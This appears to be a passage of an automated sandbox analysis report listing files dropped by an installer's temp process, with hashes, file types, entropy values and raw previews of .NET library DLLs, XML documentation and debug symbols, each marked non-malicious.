                                                                        SHA-512:8D7E564FA61411B5C28F29B07855DD112687EDCB39B991803C7C7DE67B6894B309102AC9B52409B56B7BB5C9101EB4CDFB21FCFBF5D835E4A153E188CB97CC87
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:.<?xml version="1.0" encoding="utf-8"?><doc>.. <assembly>.. <name>System.Memory</name>.. </assembly>.. <members>.. <member name="T:System.Span`1">.. <typeparam name="T"></typeparam>.. </member>.. <member name="M:System.Span`1.#ctor(`0[])">.. <param name="array"></param>.. </member>.. <member name="M:System.Span`1.#ctor(System.Void*,System.Int32)">.. <param name="pointer"></param>.. <param name="length"></param>.. </member>.. <member name="M:System.Span`1.#ctor(`0[],System.Int32)">.. <param name="array"></param>.. <param name="start"></param>.. </member>.. <member name="M:System.Span`1.#ctor(`0[],System.Int32,System.Int32)">.. <param name="array"></param>.. <param name="start"></param>.. <param name="length"></param>.. </member>.. <member name="M:System.Span`1.Clear">.. .. </member>.. <member name="M:System.Span`1.CopyTo(System.Span{`0})">.. <param name="destination"></param>.. </mem
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (347), with CRLF line terminators
                                                                        Category:dropped
                                                                        Size (bytes):62941
                                                                        Entropy (8bit):5.113786858273216
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:ACC8AF8D28DC65488D1C49DEFD8EA153
                                                                        SHA1:1EECE92A2F2E40DE4AFB43F7A5CAEC9A3B384B87
                                                                        SHA-256:0772B7895A1FEA1D3BBEE2ED2F5200EF4F9EB38B22C3D00B5405325BE9D8A7CD
                                                                        SHA-512:452669AFF783AC248394838083695BD6CE45CB1B41FC512C7F3C7039D49D9E40C24F51A2255BAE3AC6F2E01388A54EC1F17092566CE808C70F3FC599ADA9734A
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:.<?xml version="1.0" encoding="utf-8"?>..<doc>.. <assembly>.. <name>System.Text.Encodings.Web</name>.. </assembly>.. <members>.. <member name="T:System.Text.Encodings.Web.HtmlEncoder">.. <summary>Represents an HTML character encoding.</summary>.. </member>.. <member name="M:System.Text.Encodings.Web.HtmlEncoder.#ctor">.. <summary>Initializes a new instance of the <see cref="T:System.Text.Encodings.Web.HtmlEncoder" /> class.</summary>.. </member>.. <member name="M:System.Text.Encodings.Web.HtmlEncoder.Create(System.Text.Encodings.Web.TextEncoderSettings)">.. <summary>Creates a new instance of the HtmlEncoder class with the specified settings.</summary>.. <param name="settings">Settings that control how the <see cref="T:System.Text.Encodings.Web.HtmlEncoder" /> instance encodes, primarily which characters to encode.</param>.. <exception cref="T:System.ArgumentNullException">.. <paramref name="settings" /> is <see langword="null" />.<
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                        Category:dropped
                                                                        Size (bytes):115856
                                                                        Entropy (8bit):5.631610124521223
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:AAA2CBF14E06E9D3586D8A4ED455DB33
                                                                        SHA1:3D216458740AD5CB05BC5F7C3491CDE44A1E5DF0
                                                                        SHA-256:1D3EF8698281E7CF7371D1554AFEF5872B39F96C26DA772210A33DA041BA1183
                                                                        SHA-512:0B14A039CA67982794A2BB69974EF04A7FBEE3686D7364F8F4DB70EA6259D29640CBB83D5B544D92FA1D3676C7619CD580FF45671A2BB4753ED8B383597C6DA8
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....?.Z.........." ..0..v............... ........... ..............................DF....@.................................f...O........................>.......................................................... ............... ..H............text....u... ...v.................. ..`.rsrc................x..............@..@.reloc..............................@..B........................H........Q..|?..........$... ...D.........................................(....*&.l(....k*&.l(....k*..l.l(....k*..l.l(....k*&.l(....k*&.l(....k*&.l(....k*j~....%-.&(....s....%.....*..*.0..$.........(.....o.......&...,....o....,..*.*..................,!(....,..r...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*.~....*2r...p.(....*2rG..p.(....*2r...p.(....*2r...p.(.
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:Microsoft Roslyn C# debugging symbols version 1.0
                                                                        Category:dropped
                                                                        Size (bytes):10852
                                                                        Entropy (8bit):5.894275997148726
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:F1AF59548261BE14DD1A0D5A10CADEC0
                                                                        SHA1:411C5EB1B529AEC73F6A246AB965C25248701E14
                                                                        SHA-256:0AE6BE9B8D7BA5B2D7AD09C9A0C2439671D6D419211199A86C3C6722E9FA6CF9
                                                                        SHA-512:C2C12D8137774788C447C5BF735D8D090414E42A925EB5590A3AEDE7AA50D528323120A2D636602774B51CA54AAE4044E218154EB29B6FC52468A9F6FA142067
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:BSJB............PDB v1.0........|...p...#Pdb............#~......4...#Strings....,.......#US.0...P...#GUID...........#Blob.....q..*.H...JGG@........W...........k...'..._...................5....................................................................... ...........%.......3...........\...d.......................*...e...r.......................+...b...o...........................[...h...................'...4...t.......................................<...U...................6...O...................0...I...................D...S.............................Q...]...i...u...|................................................... .......1.......$...,...5...>...j...................................................................5...A...........................<...O...........................+...2...Z...................b.......................+...G...d...........................G.......*...7...T...}...................................................................................$.........
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                        Category:dropped
                                                                        Size (bytes):33280
                                                                        Entropy (8bit):5.665095862444878
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:C25357A7950DCFC7F85EE9D593CB1A24
                                                                        SHA1:6A533712852465AB3C11B5C76004312D6482F07F
                                                                        SHA-256:5B70DC2EECEB1963F9C3690C1CC8FFA793B280E903FA9A31780E6A7BB0BDFCF9
                                                                        SHA-512:30CA628B17B2A51BD9974FE1380CAF728E7826C2BB552E4BC5AC15BE8F819E908FC1744932DB23734FEC64E0F2C758372D8C49D019407EFDFB076133C6DF70C6
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...^.H..........." ..0..x............... ........... ....................................`....................................O......................................T............................................ ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc..............................@..B........................H........=...V..................P.........................................(!...*^.(!......G...%...}....*:.(!.....}....*:.(!.....}....*..(!...*..(!...*..(!...*..{....*:.(!.....}....*..(!...*..{....*:.(!.....}....*..{....*^.(!......H...%...}....*:.(!.....}....*..{....*..{....*z.(!.....}.......H...%...}....*V.(!.....}......}....*..(!...*..{....*:.(!.....}....*..{....*:.(!.....}....*...0..,.............................................(....*.0..*...................................
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                        Category:dropped
                                                                        Size (bytes):25984
                                                                        Entropy (8bit):6.291520154015514
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:E1E9D7D46E5CD9525C5927DC98D9ECC7
                                                                        SHA1:2242627282F9E07E37B274EA36FAC2D3CD9C9110
                                                                        SHA-256:4F81FFD0DC7204DB75AFC35EA4291769B07C440592F28894260EEA76626A23C6
                                                                        SHA-512:DA7AB8C0100E7D074F0E680B28D241940733860DFBDC5B8C78428B76E807F27E44D1C5EC95EE80C0B5098E8C5D5DA4D48BCE86800164F9734A05035220C3FF11
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....jM^.........." ..0..8...........V... ...`....... ....................................@..................................V..O....`...............B...#..........PU............................................... ............... ..H............text....6... ...8.................. ..`.rsrc........`.......:..............@..@.reloc...............@..............@..B.................V......H........0...$...................T........................................(....*..(....z..(....z2.(....s....*2.(....s....*:........o....*.~....*~.-..(......}......}......}....*~.-..(......}......}......}....*Z..}......}......}....*J.{....%-.&.*o....*^.u....,........(....*.*~.{.....{....3..{.....{......*.*&...(....*2...(.......*....0..'........{......,..u....%-.&..(...+(....*(....*n.{....,..(....s....*.q....*..0..a.........{....o0.....,;..{....o2...(......;...3.~.......s......
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                        Category:dropped
                                                                        Size (bytes):565
                                                                        Entropy (8bit):5.063342095011061
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:CCF2419187B9583166F17A82971D6EC5
                                                                        SHA1:3BEBB957E0544D7E745823CB4D2B3B9FFFAD8440
                                                                        SHA-256:A52A88FEA8CBFC4465BFA4D520879C29C5F2366502DB608F490B42A45658EE52
                                                                        SHA-512:843EF6024919683FBC71BDFC6910863EEB0D4FC0AFE2C103A7F525E60EF2C7503B096074FF3EA4E0E32AD44DEF3D438E129F4958BB1ED147C759CD12A1ACE1EB
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:.<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup> .. <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8" />.. </startup>.. <runtime>.. <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.. <dependentAssembly>.. <assemblyIdentity name="System.Runtime.CompilerServices.Unsafe" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-5.0.0.0" newVersion="5.0.0.0" />.. </dependentAssembly>.. </assemblyBinding>.. </runtime>..</configuration>..
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                        Category:dropped
                                                                        Size (bytes):9728
                                                                        Entropy (8bit):4.8590699243732
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:E5F3B59AB9FD9157857D69B3D9611D0B
                                                                        SHA1:057DB8A55C224569A192F24C88F7CF0AF02DD9BD
                                                                        SHA-256:8951F1B70412949C6AC5F5A73441E689D954522EE199F17F56C97D3C90908AFD
                                                                        SHA-512:425261A0F0487A8B7F2C99CA41ADB4535C90A561792076A67C9FAD7DD9FAA30989A64D59E4B281AEFE5943BAE0B19B5B381B6A7E9ED265836A726292D8EDC623
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....{..........." ..0.............6:... ...@....... ..............................pV....`..................................9..O....@.......................`.......9..T............................................ ............... ..H............text...<.... ...................... ..`.rsrc........@......................@..@.reloc.......`.......$..............@..B.................:......H.......<#..D....................8........................................(....*"..(....*&...(....*v(....-.r...ps....z~....o....*.......*&~.......*&...o....*&...o....*..0.............o............o.....s....z.*...................0............o...........o.....s....z.*................^......(.....o.........*^......(.....o.........*>..s....%.} ...*..."...%.rM..p.%..o!....%.r...p.%...%.r...p.("...*Fr...p.o!...(#...*..($...*f.($.....}%....(&...}'...*...0...........{%...........3.
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                        Category:dropped
                                                                        Size (bytes):20872
                                                                        Entropy (8bit):6.448532891103289
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:1EE251645B8A54A116D6D06C83A2BD85
                                                                        SHA1:5DBF1534FFBFF016CC45559EB5EFF3DC4252A522
                                                                        SHA-256:075CE79E84041137C78885B3738C1B5A03547D0AE2A79916E844196A9D0EC1DB
                                                                        SHA-512:9F67FD0566EAC2DA4253D08697DAAB427E4E85780615D940F086A88424DCBB0563ABAE7E4824088E64EF7024C1BB3BBF324F2D07BC7BA55F79E4AF3C9EA88E97
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....d..........." ..0..$...........C... ...`....... ....................................`.................................oC..O....`...................#..........|B..T............................................ ............... ..H............text....#... ...$.................. ..`.rsrc........`.......&..............@..@.reloc...............,..............@..B.................C......H.......4&.......................A........................................(....*..(....*.0....................(....}.....*6.|.....(...+*:.|......(...+*:.|......(...+*2.|....(....*..{....%-.&.|....s.....(....%-.&.{....*"..(....*>..}......}....*..0...........{....o........{....(....*Z..}......}......}....*N.{......{....s....*N.{.....{.....s....*v.{.....{....o ....{....s!...*..(....*"..s....*.0.....................s"...*&...s"...*..{#...*"..}#...*.0..F.........{$....Xh}$.....}%.
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                        Category:dropped
                                                                        Size (bytes):355720
                                                                        Entropy (8bit):6.089400920308145
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:38470CA21414A8827C24D8FE0438E84B
                                                                        SHA1:1C394A150C5693C69F85403F201CAA501594B7AB
                                                                        SHA-256:2C7435257690AC95DC03B45A236005124097F08519ADF3134B1D1ECE4190E64C
                                                                        SHA-512:079F7320CC2F3B97A5733725D3B13DFF17B595465159DAABCA5A166D39777100E5A2D9AF2A75989DFABDB2F29EAC0710E16C3BB2660621344B7A63C5DBB87EF8
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..@...........\... ...`....... ..............................84....`.................................Y\..O....`..d............J...#...........[..T............................................ ............... ..H............text....?... ...@.................. ..`.rsrc...d....`.......B..............@..@.reloc...............H..............@..B.................\......H..........t...........@....Y...[........................................(%...*..(%...*..(%...*^.(%..........%...}....*:.(%.....}....*:.(%.....}....*:.(%.....}....*....0..E........ ...._.b..._X ....Y..e pp.._.d.X ....X.`.....X(&.....R...(&.....d.R*....0..K........ ...._.b..._X ....Y..e pp.._.d.X ....X.`.....X('.... ...._.S...('.....d.S*..0..&.........+....((...G...Z.(......X....()...2.*...0..............?.....().....1...()....Z.......(...+.+...()....Z........s+..............
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:XML 1.0 document, ASCII text, with very long lines (454), with CRLF line terminators
                                                                        Category:dropped
                                                                        Size (bytes):290712
                                                                        Entropy (8bit):4.583371658316939
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:9286AA30EB743A001D67B100236E9011
                                                                        SHA1:A476D5424129C7E40EC815A911313A71B92FE840
                                                                        SHA-256:C8F6500C2CD3D89E43A91D7C6E71C9480550BE1F3F2B79874CFEE6231D81B996
                                                                        SHA-512:6671BCF8010F2C42135830AF5B577188B62C53C2C303B07A5416D797FB07AD703ECBE0F864CFD94D174D198D437AE1B2F21B8091FAAD53B93261CCCE870B6E64
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:<?xml version="1.0"?>..<doc>.. <assembly>.. <name>Serilog</name>.. </assembly>.. <members>.. <member name="M:Serilog.Capturing.PropertyBinder.ConstructProperties(Serilog.Events.MessageTemplate,System.Object[])">.. <summary>.. Create properties based on an ordered list of provided values... </summary>.. <param name="messageTemplate">The template that the parameters apply to.</param>.. <param name="messageTemplateParameters">Objects corresponding to the properties.. represented in the message template.</param>.. <returns>A list of properties; if the template is malformed then.. this will be empty.</returns>.. </member>.. <member name="T:Serilog.Configuration.ILoggerSettings">.. <summary>.. Implemented on types that apply settings to a logger configuration... </summary>.. </member>.. <member name="M:Serilog.Configuratio
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                        Category:dropped
                                                                        Size (bytes):20856
                                                                        Entropy (8bit):6.425485073687783
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:ECDFE8EDE869D2CCC6BF99981EA96400
                                                                        SHA1:2F410A0396BC148ED533AD49B6415FB58DD4D641
                                                                        SHA-256:ACCCCFBE45D9F08FFEED9916E37B33E98C65BE012CFFF6E7FA7B67210CE1FEFB
                                                                        SHA-512:5FC7FEE5C25CB2EEE19737068968E00A00961C257271B420F594E5A0DA0559502D04EE6BA2D8D2AAD77F3769622F6743A5EE8DAE23F8F993F33FB09ED8DB2741
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....jM^.........." ..0..$..........BC... ...`....... ....................................@..................................B..O....`..@...............x#...........A............................................... ............... ..H............text...H#... ...$.................. ..`.rsrc...@....`.......&..............@..@.reloc...............,..............@..B................$C......H........'...............?..X...8A......................................j~....%-.&(....s....%.....*..*...0..$.........(.....o.......&...,....o....,..*.*..................,!(....,..r...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*.~....*2r...p.(....*B.....(.........*R.....(...+%-.&(!...*^.....("....(...+&~....*.s$...*"..s%...*..(&...*.*....0......................
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                        Category:dropped
                                                                        Size (bytes):68472
                                                                        Entropy (8bit):5.977153039222987
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:E8CDACFD2EF2F4B3D1A8E6D59B6E3027
                                                                        SHA1:9A85D938D8430A73255A65EA002A7709C81A4CF3
                                                                        SHA-256:EDF13EBF2D45152E26A16B947CD953AEB7A42602FA48E53FD7673934E5ACEA30
                                                                        SHA-512:EE1005270305B614236D68E427263B4B4528AD3842057670FAD061867286815577EC7D3ED8176E6683D723F9F592ABCBF28D24935CE8A34571AB7F1720E2FFC5
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...&gY..........." ..0.............2.... ........... .......................@............`.....................................O.......................x#... ..........T............................................ ............... ..H............text...8.... ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H........`..,t..................t.........................................(%...*..(%...*..(%...*^.(%......4...%...}....*:.(%.....}....*:.(%.....}....*:.(%.....}....*....0..E........ ...._.b..._X ....Y..e pp.._.d.X ....X.`.....X(&.....R...(&.....d.R*....0..K........ ...._.b..._X ....Y..e pp.._.d.X ....X.`.....X('.... ...._.S...('.....d.S*..0..&.........+....((...G...Z.(......X....()...2.*...0....................().....1...()....Z.6.....(...+.+...()....Z........s+..............
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                        Category:dropped
                                                                        Size (bytes):126464
                                                                        Entropy (8bit):5.956128121745012
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:0AA45A8A1CD24CD2B589E4AAD925F35D
                                                                        SHA1:0DC29954C4C2FFEA4C33AF0E56CE84158849B81E
                                                                        SHA-256:7A26A473AF5EB7A00196E275C86D773F36E1D4CAEF566F97F1DF7E07E20B1670
                                                                        SHA-512:7A865B16633C09BDECDA34FDF15C62DB4F04F2FB8DB0ABF57563AEA51DE67DAF9ECA0C08F053F551937A0C3C7987A53DE2454ECB13139A193291633DF7262981
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...H............." ..0.............".... ... ....... .......................`...........`.....................................O.... .......................@..........T............................................ ............... ..H............text...(.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H............N............................................................{(...*..{)...*V.(*.....}(.....})...*...0..;........u......,/(+....{(....{(...o,...,.(-....{)....{)...o....*.*. ... )UU.Z(+....{(...o/...X )UU.Z(-....{)...o0...X*.0..b........r...p......%..{(......%q.........-.&.+.......o1....%..{)......%q.........-.&.+.......o1....(2...*..{3...*..{4...*V.(*.....}3.....}4...*.0..;........u......,/(+....{3....{3...o,...,.(-....{4....{4...o....*.*. .T.2 )UU.Z(+....{3...o/
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                        Category:dropped
                                                                        Size (bytes):16768
                                                                        Entropy (8bit):6.378509219645678
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:9A341540899DCC5630886F2D921BE78F
                                                                        SHA1:BAB44612721C3DC91AC3D9DFCA7C961A3A511508
                                                                        SHA-256:3CADCB6B8A7335141C7C357A1D77AF1FF49B59B872DF494F5025580191D1C0D5
                                                                        SHA-512:066984C83DE975DF03EEE1C2B5150C6B9B2E852D9CAF90CFD956E9F0F7BD5A956B96EA961B26F7CD14C089BC8A27F868B225167020C5EB6318F66E58113EFA37
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....._...........!.................3... ...@....@.. ..............................t@....@.................................@3..K....@...................#...`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................p3......H........$..0...................P ......................................._.%c......=.n')...(v..:}.d...3...B...).. .:Q(....L.jt....}Xv.b7y0r.[..$.....q..c.6.....p..2..qHv/.pb.=..9.o"z.. 0P.t%H....U...0...........q....*..0..............q....*...0..............q....*...0.................*.0....................*..0....................*..0............q.........*....0............q.........*....0............*..0..........*....0................*..0...............*...0..............
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:MSVC program database ver 7.00, 512*275 bytes
                                                                        Category:dropped
                                                                        Size (bytes):140800
                                                                        Entropy (8bit):3.9163931661198164
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:86EFB657B1A0974BCEA59B289E6BDD0A
                                                                        SHA1:FDC986C355D01DB01AEBA0D746AA60488292D6D6
                                                                        SHA-256:A286F34B00E0264E62DB9F26DC2BEB416595AE77A2E41492166FDA93DE2E6309
                                                                        SHA-512:10856A10B06BB488E28FB860F4EC726F378961E978DE83D61FA148C01F67581E917B56D89D0954B33BC21111E215FB14449C0B149C0F01E12DAC4A8F051B7FA2
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:Microsoft C/C++ MSF 7.00...DS...............t...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:XML 1.0 document, ASCII text, with very long lines (346), with CRLF line terminators
                                                                        Category:dropped
                                                                        Size (bytes):16817
                                                                        Entropy (8bit):4.5578264753726145
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:EBE0A1E5F2373700EF7057643C50B52F
                                                                        SHA1:C89BF980C47EED5D954A4D8B2612D22109F4C555
                                                                        SHA-256:FC7CB577061FEEB6A06C24207B0BA1D5F5CFD6ABD4F8D15CDCF54469067F13DE
                                                                        SHA-512:3C5B0D5C97220C43C4BE24546B51BEFDC0E3315F1C3B3FF1C16E39068FE3E09FE311909741E365E3C7BA23C004D1FE9D0DEB55917BFD317CA7850B709A6D44D0
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:<?xml version="1.0"?>..<doc>.. <assembly>.. <name>Serilog.Sinks.Console</name>.. </assembly>.. <members>.. <member name="T:Serilog.ConsoleLoggerConfigurationExtensions">.. <summary>.. Adds the WriteTo.Console() extension method to <see cref="T:Serilog.LoggerConfiguration"/>... </summary>.. </member>.. <member name="M:Serilog.ConsoleLoggerConfigurationExtensions.Console(Serilog.Configuration.LoggerSinkConfiguration,Serilog.Events.LogEventLevel,System.String,System.IFormatProvider,Serilog.Core.LoggingLevelSwitch,System.Nullable{Serilog.Events.LogEventLevel},Serilog.Sinks.SystemConsole.Themes.ConsoleTheme,System.Boolean,System.Object)">.. <summary>.. Writes log events to <see cref="T:System.Console"/>... </summary>.. <param name="sinkConfiguration">Logger sink configuration.</param>.. <param name="restrictedToMinimumLevel">The minimum level for.. events p
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                        Category:dropped
                                                                        Size (bytes):25232
                                                                        Entropy (8bit):6.672539084038871
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:23EE4302E85013A1EB4324C414D561D5
                                                                        SHA1:D1664731719E85AAD7A2273685D77FEB0204EC98
                                                                        SHA-256:E905D102585B22C6DF04F219AF5CBDBFA7BC165979E9788B62DF6DCC165E10F4
                                                                        SHA-512:6B223CE7F580A40A8864A762E3D5CCCF1D34A554847787551E8A5D4D05D7F7A5F116F2DE8A1C793F327A64D23570228C6E3648A541DD52F93D58F8F243591E32
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....?.Z.........." ..0.............b2... ...@....... ...............................H....@..................................2..O....@...............$...>...`......x1............................................... ............... ..H............text...h.... ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B................B2......H........!..T....................0......................................j~....%-.&(....s....%.....*..*...0..$.........(.....o.......&...,....o....,..*.*..................,!(....,..r...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*.~....*2r...p.(....*2r[..p.(....*B.....(.........*.BSJB............v4.0.30319......l...4...#~..........#Strings....t.......#US.@.......
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                        Category:dropped
                                                                        Size (bytes):142
                                                                        Entropy (8bit):4.391770241438592
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:B6E60687AE5DB6D011E21E6993620745
                                                                        SHA1:B117C6BBDDC72E7F4B590173992EE17BFDDE4BE1
                                                                        SHA-256:C37E163FA76629C196460C7B4D54E95B1A46A4C66AB7B6F3311959C8137DC5F1
                                                                        SHA-512:709212B6CB36F57B92A82DEF810F9C075A91B3E6A5FD330DCFB563D94A320783509441347D63BDE97F530C6B10CE6AA769CA11F7FC39ACF1B25D5C8F9DCBB389
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:<?xml version="1.0"?>..<doc>.. <assembly>.. <name>System.ValueTuple</name>.. </assembly>.. <members>.. </members>..</doc>..
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:XML 1.0 document, ASCII text, with very long lines (499), with CRLF line terminators
                                                                        Category:dropped
                                                                        Size (bytes):44010
                                                                        Entropy (8bit):4.724633474917721
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:28D966EDE9C3C25CF49E1F20D9AA6847
                                                                        SHA1:B154321576F50BF8C0E27E940DA030842B580D8E
                                                                        SHA-256:5337A07C7AA7DD901A330C893C7D1B6F101AB3706B7AAB8CC3EAF4E5C236D9F7
                                                                        SHA-512:05DDD35F4F4A75E2B0FB50BD5E26FE9F6DF993E629C735DF9C8247554570EB122CA6A48E0659380CF00D0180BE3133EA28D6FAD4E29BA4E9BE0AB2D9A0901F75
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:<?xml version="1.0"?>..<doc>.. <assembly>.. <name>Serilog.Sinks.File</name>.. </assembly>.. <members>.. <member name="T:Serilog.FileLoggerConfigurationExtensions">.. <summary>Extends <see cref="T:Serilog.LoggerConfiguration"/> with methods to add file sinks.</summary>.. </member>.. <member name="M:Serilog.FileLoggerConfigurationExtensions.File(Serilog.Configuration.LoggerSinkConfiguration,System.String,Serilog.Events.LogEventLevel,System.String,System.IFormatProvider,System.Nullable{System.Int64},Serilog.Core.LoggingLevelSwitch,System.Boolean,System.Boolean,System.Nullable{System.TimeSpan})">.. <summary>.. Write log events to the specified file... </summary>.. <param name="sinkConfiguration">Logger sink configuration.</param>.. <param name="path">Path to the file.</param>.. <param name="restrictedToMinimumLevel">The minimum level for.. events passed through the s
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                        Category:dropped
                                                                        Size (bytes):153416
                                                                        Entropy (8bit):6.065911468948355
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:1488C726A98F80C3DDC6A1D00A8D0B8B
                                                                        SHA1:824AD1174E5C2FC5C68B04E68C39C35E1BF4E812
                                                                        SHA-256:3E4EF152246EB9D1EBF58C2BB93EA038232AFA0C1DF03B6D3A9E398620938759
